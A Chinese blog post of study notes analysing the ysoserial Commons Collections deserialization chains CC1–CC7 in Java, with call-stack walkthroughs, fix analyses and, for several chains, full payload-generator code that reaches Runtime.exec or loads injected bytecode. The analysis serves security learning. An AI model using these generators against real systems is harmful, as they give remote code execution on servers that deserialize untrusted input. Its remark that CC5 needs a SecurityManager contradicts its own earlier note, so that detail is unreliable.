Common-Collections系列payload复现
问就是太菜了,什么都不会,所以需要加强记忆,保姆级复习
代码基本上都是抄的yso,但是要手跟一下总结一下
CC1
最古老的payload,在极低版本的jdk上生效,因为已经修掉了所以现在基本上没有用,在这里可以下载远古jdk,这里用的1.8u51,非常远古
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
调用栈
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Transformer[]
先看Transformer数组这一套,这个是后续利用的常客,Transformer是一个基类,其下拥有ChainedTransformer,ConstantTransformer,InvokerTransformer众多子类,其拥有一个transform方法,ChainedTransformer的该方法如下(ChainedTransformer有一个成员变量数组iTransformer)
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
就是以上一次transform的结果为参数,依次调用自己的各transformer的transform方法。
ConstantTransformer从名字上就能听出来,其transform方法返回一个常量,可在构造函数中传入该常量
InvokerTransformer的该方法比较牛逼,其在构造时可以传入需要调用的方法名iMethod和参数列表iParamTypes,直接进行反射调用
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
catch
.......
}
因此写出Transformer的部分代码
final String[] args = new String[] {command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, args),
});
调用ChainedTransformer的transform方法,就先通过ConstantTransformer返回Runtime.class
,然后利用invokeTransformer调用方法,先调用getMethod方法,获取到Runtime类的getRuntime Method,之后对使用invoke调用Method对象,返回Runtime类实例,最终调用Runtime对象的exec方法进行命令执行。
也就等价于Runtime.getRutime.exec(args)
。
从AnnotationInvocationHandler.invoke到LazyMap.get
那么接下来的任务就是找到一个触发ChainedTransformer的transform方法的点了,这里看到LazyMap的get方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
如果key不在map中的话,就调用factory属性的transform方法,OK
再找一个可以触发LazyMap的get方法的点,按照调用链层层往上,看到AnnotationInvocationHandler.invoke()
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
......
}
在switch(var7)的default选项中,进行了Object var6 = this.memberValues.get(var4);
memberValues当然是一个map,符合条件
AnnotationInvocationHandler继承自InvocationHandler,而且需要调用其invoke方法,需要使用Proxy来触发这个invoke。
简单复习一下代理,一个Proxy需要实现一个继承自InvocationHandler的类,以及一个被代理的对象。Handler类定义一个invoke函数,并在实例化时关联该对象,对由该handler创建的proxy对象进行方法调用,即为调用该handler的invoke方法。而一般来说handler的invoke方法一般是对调用的方法进行包装
使用如下代码创建一个合适的Proxy类
final HashMap innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
final InvocationHandler temp = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map mapProxy = (Map) Proxy.newProxyInstance(temp.getClass().getClassLoader(), new Class[]{Map.class}, temp);
先构造好对应的LazyMap,由于AnnotationInvocationHandler的构造函数是私有方法,所以要通过反射来进行创建(为什么构造函数是私有方法啊,那这个类正常情况怎么用啊。。。)
将创建的handler与LazyMap进行关联,创建出可用的mapProxy对象
在构建AnnotationInvocationHandler时传入的第一个类是Override.class,是因为其构造函数要求第一个参数是一个注解类,而Override.class是一个自带的注解类
但同样的,我们还需要一个能调用Map的方法的函数,因为最初的触发点得是readObject,而AnnotationInvocationHandler这个类的readObject刚好就有这个功能
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
.......
}
这一句Iterator var4 = this.memberValues.entrySet().iterator();
调用了map的entrySet,完成了一条从readObject到RCE的完全路径
外层的这个handler只是因为他刚好readObject可以触发这个代理类
payload
因此最后再创建一个AnnotationInvocationHandler对象,并且把我们的代理类赋值进去,由此我们能拼凑出整个CC1的payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static InvocationHandler getPayload(String command) throws Exception {
final String[] args = new String[] {command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, args),
});
final HashMap innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
final InvocationHandler temp = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map mapProxy = (Map) Proxy.newProxyInstance(temp.getClass().getClassLoader(), new Class[]{Map.class}, temp);
final InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
return handler;
}
}
修复方案
说过这个链其实不能用了,因为在远古远古版本就已经修掉了
维修的方法就是直接把memberValue改成定值,不可控了自然就没法反序列化了
新版readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name));
}
}
mv.put(name, value);
}
UnsafeAccessor.setType(this, t);
UnsafeAccessor.setMemberValues(this, mv);
}
最后一句强行设定了memberValue
跟了一下,影响的是内层用于触发LazyMap.get的那个handler,内层handler本来是代理的LazyMap类变成了代理LinkedHashMap类,然后走到get的时候走的是LinkedHashMap.get,计划大失败
CC2
只能打Common Collections 4,需要极低版本,约等于没有用。因为在Common Collections 3中TransformingComparator这个类没有实现Serializable接口
调用栈
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
TemplateImpl
这个类的特点是当调用其getOutputProperties方法时,会一路调用最终将自己的_bytecodes属性作为字节码进行类的加载,并进行类的实例化。使用javassit可以动态修改类的字节码,在类的static块中添加任意代码,并放到_bytecodes属性中触发,即可在类实例化时得到执行
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
........
}
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
......
}
在defineTransletClasses中_class[i] = loader.defineClass(_bytecodes[i]);
进行加载,而加载完成后在getTransletInstance中AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
进行实例化
从PriorityQueue到InvokerTransformer
顺着看吧,出发点必然是PriorityQueue的readObject方法,其最后调用了一个heapify()方法,听起来就是堆排序,而heapify方法里面也就只调用了一个函数siftDown,siftDown在comparator不为null时调用siftDownUsingComparator,siftDownUsingComparator调用comparator的compare方法(怪不得yso里面的链子打了省略号。。原来这一路上的函数调用连分叉都没有)
看到TransformingComparator的compare方法,直接对自己的transformer进行transform了
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
invokerTransformer可以调用一个类的public方法,所以直接调用templateImpl的getOutputProperties实现rce
而templateImpl反序列化时可以执行任意长度任意数量的代码,约等于PHP的eval
payload
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static Object getPayload(final String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
cc.makeClassInitializer().insertBefore(command);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
bf.setAccessible(true);
bf.set(templates, targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
Field nf = TemplatesImpl.class.getDeclaredField("_name");
nf.setAccessible(true);
nf.set(templates, "name");
Field cf = TemplatesImpl.class.getDeclaredField("_class");
cf.setAccessible(true);
cf.set(templates, null);
Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
tf.setAccessible(true);
tf.set(templates, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field fq = PriorityQueue.class.getDeclaredField("queue");
fq.setAccessible(true);
Object[] queueArray = (Object[]) fq.get(queue);
queueArray[0] = templates;
queueArray[1] = 1;
Field fc = PriorityQueue.class.getDeclaredField("comparator");
fc.setAccessible(true);
fc.set(queue, comparator);
return queue;
}
}
没有验证这个代码的可用性,因为懒得去翻老版本的Common Collections4了
往PriorityQueue里面塞两个破烂是因为要队列里面至少有两个元素才能触发排序,因为要add一下size才会+1,直接反射往里面塞是不加size的,然后再反射一手把queue里面的数据改成我们的emplateImpl,在比较的时候用invokerTransformer触发
修复方案
把Common collections4的invokerTransformer的Serializable给去掉了,在4.1中即生效,也就是说只能打4.0(现在都更新到4.4了)
CC3
将CC1中的一组InvokerTransformer换成了一个InstantiateTransformer,然后再塞一个templateImpl,因为约等于CC1,所以也只对远古版本jdk有效,约等于没有用
调用栈
约等于CC1,这里就最后改成了InstantiateTransformer,实例化类的时候调用了newTransform方法,配合templateImpl打通
从InstantiateTransformer到templateImpl.newTransformer
这个玩意的transformer有点猛,进去就看到一个newInstance
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch
........
}
然后看到TrAXFilter这个类的构造函数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
直接调用自己的templates的newTransformer
payload
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )
});
把CC1和CC2缝合一下,其中transformer改成这个就行
修复方案
因为触发方法和CC1一致,通过proxy调用invoke最后到LazyMap.get,所以AnnotationInvocationHandler的LazyMap那一改就打不通了
CC4
把CC2触发templateImpl的InvokerTransformer换成InstantiateTransformer,因为用的是PriorityQueue这条线,所以得用TransformingComparator,所以只用于Common Collections4,也被修了,高版本也用不了。
调用栈
和CC2类似
payload
超级缝合怪,已经不用加新东西了,把CC2和CC3再缝合一下即可,不贴代码
修复方案
类似CC2,把InstantiateTransformer的Serializable也去掉了,也是4.1版本即生效,呜呜
CC5
新摸出来的一条的到LazyMap的链
Common collections3/4均适用(当然是低版本。。。不过对Common collections3的话不是那么低版本)
调用栈
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
注释里提到
This only works in JDK 8u76 and WITHOUT a security manager
高版本无security manager时可用,顺着看
BadAttributeValueExpException到LazyMap.get()
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
其val属性不为null不为String且System.getSecurityManager() == null时,调用其val属性的toString,而TiedMapEntry的toString函数很简单,配合getValue使用,直接map.get
public String toString() {
return getKey() + "=" + getValue();
}
public Object getValue() {
return map.get(key);
}
只需把CC1中触发的那段改为这个即可
payload
CC1的后半边换成
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valfield = exception.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(exception, entry);
return exception;
Common Collections4想用的话把所有import改成collection4,然后反射获取Constructor构造一下LazyMap即可(要我说invokerTransformer挂了就是用不了嘛)
修复方案
对Common collections4而言,在4.1InvokerTransformer的Serializable就没了
而对Common collections3,同Common Collections4中的的修复方案,把InvokerTransformer的Serializable去掉了,呜呜
该修复在Common Collections3.2.2中出现,这是Common Collections3的最新版本(当然理论上Common Collections3系列以及被抛弃了,现在都在更新Common Collections4)
所以估计在版本号上似乎3的修复很晚,但时间线上可能差不多。。。
CC6
同样Common Collections3/4通用,版本限制相同
调用栈
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
HashMap到LazyMap.get
有两个触发点,一个是像yso一样整个HashSet套HashMap,HashSet的readObject在最后会调用其map的put方法,而put则调用hash方法
如果直接用HashMap的话,其readObject方法则直接调用hash方法,也能走到对应步骤
hash方法调用key的hashCode方法,令key为TiedMapEntry,其hashCode方法调用getValue方法,而getValue方法自然就是调用map.get,到我们喜闻乐见的lazymap.get环节
payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CC6 {
public static Object getPayload(final String command) throws Exception{
final String[] args = new String[] {command};
final Transformer[] temp = new Transformer[]{};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, args),
};
final Transformer transformerChain = new ChainedTransformer(temp);
HashMap innerMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
HashMap map = new HashMap();
map.put(tiedMapEntry, "foo2");
innerMap.clear();
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
return map;
}
}
这么写的话需要在最后加上一个innerMap.clear(),试着调试了一下,在创建第二个HashMap的时候,之前创建的innerMap的size自动增长了,出现了一个键值对,而LazyMap.get触发transform的条件是那个key不存在,因此需要在最后把map清空,否则无法触发
也可以用yso的外面再套一层HashSet
踩坑无数
已经忘了之前是怎么做的了,今天调试了一下CC6,然后踩了无数个坑。调试时IDEA会自动去获取变量值之类的数据进行展示,由此会调用toString,get等函数。而在这里很显然,toString和get等都属于致命函数,一调用就会直接触发payload,并且还会将其执行的结果放进map。我在构造payload的时候下了个断点,直接触发payload,顺便还把执行的结果,一个ProcessImpl类塞到map里,而这个类不能序列化,序列化直接失败。上述提到的innerMap.clear()清楚map内容,new第二个HashMap时innerMap自增也不知道是不是因为这个原因。。。。IDEA的这个操作导致我完全无法调试,很多问题没法解决了。。。
修复方案
同之前,把InvokerTransformer ban了
CC7
利用哈希碰撞时调用equal去触发LazyMap.get,LazyMap真是万能
调用栈
这次yso的没缩进了,手动加一个
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
java.lang.Runtime.exec
从Hashtable.readObject到LazyMap.get
Hashtable的readObject最后调用了reconstitutionPut函数,进而进入AbstractMapDecorator的equal,调用的是AbstractMap的equal
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch
......
在if (!value.equals(m.get(key)))
进LazyMap.get
payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static Object getPayload(final String command) throws Exception {
final String[] args = new String[] {command};
final Transformer[] temp = new Transformer[]{};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, args),
};
final Transformer transformerChain = new ChainedTransformer(temp);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}
这里注意一下最后的lazyMap2.remove("yy");
,这是因为在构造的时候,两次put就已经产生了碰撞,而碰撞之后把lazymap2中添加了lazymap1中的项,需要把它移除才能保证在反序列化的时候再次发送哈希碰撞
以及hashCode(“yy”)==hashCode(“zZ”),所以会发生碰撞
修复方案
同上
后记
TiedMapEntry的触发实际上是用自己的key去调用transform方法,所以可以调用任意类的一个public方法,只需要将TiedMapEntry的key设为那个类的一个实例即可(好像用一堆transformer一直invoke下去也能调用任意类的任意public方法,也说不定)
还有就是一开始初始化ChainedTransformer时直接放payload进去,容易在构造序列化数据的时候直接触发,打自己一下。。。正确的做法是先塞个垃圾进去,搞完了再反射改掉,所以yso都是这么做的
总结一下使用场景
CC1/3用的AnnotationInvocationHandler只适用于远古jdk,基本上没有用
CC2/4用的TransformingComparator只适用于Common Collections4.0,勉强能用
CC5/6都是走到TiedMapEntry,进LazyMap.get
其中CC5的BadAttributeValueExpException适用于高版本jdk且需要一个SecurityManager的配置
CC7用的Hashtable也是走到LazyMap.get,但和5/6相比,少一个TiedMapEntry
以及CC5/6/7似乎对于Common Collections3/4均适用
后续还有各种和TemplateImpl结合的变体打法,可能就是市面上流传的CC8/9/10
而最后的执行环节一定是用到Transformer的,所以在Common Collections3.2.1以及Common Collections4.0之后,这几个相关Transformer均不可序列化,完成了超级防御
参考文章
我直接打开rmb神仙的博客开始学习并超级提问呜呜
ysoserial URLDNS, CommonsCollectionsX 分析
Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析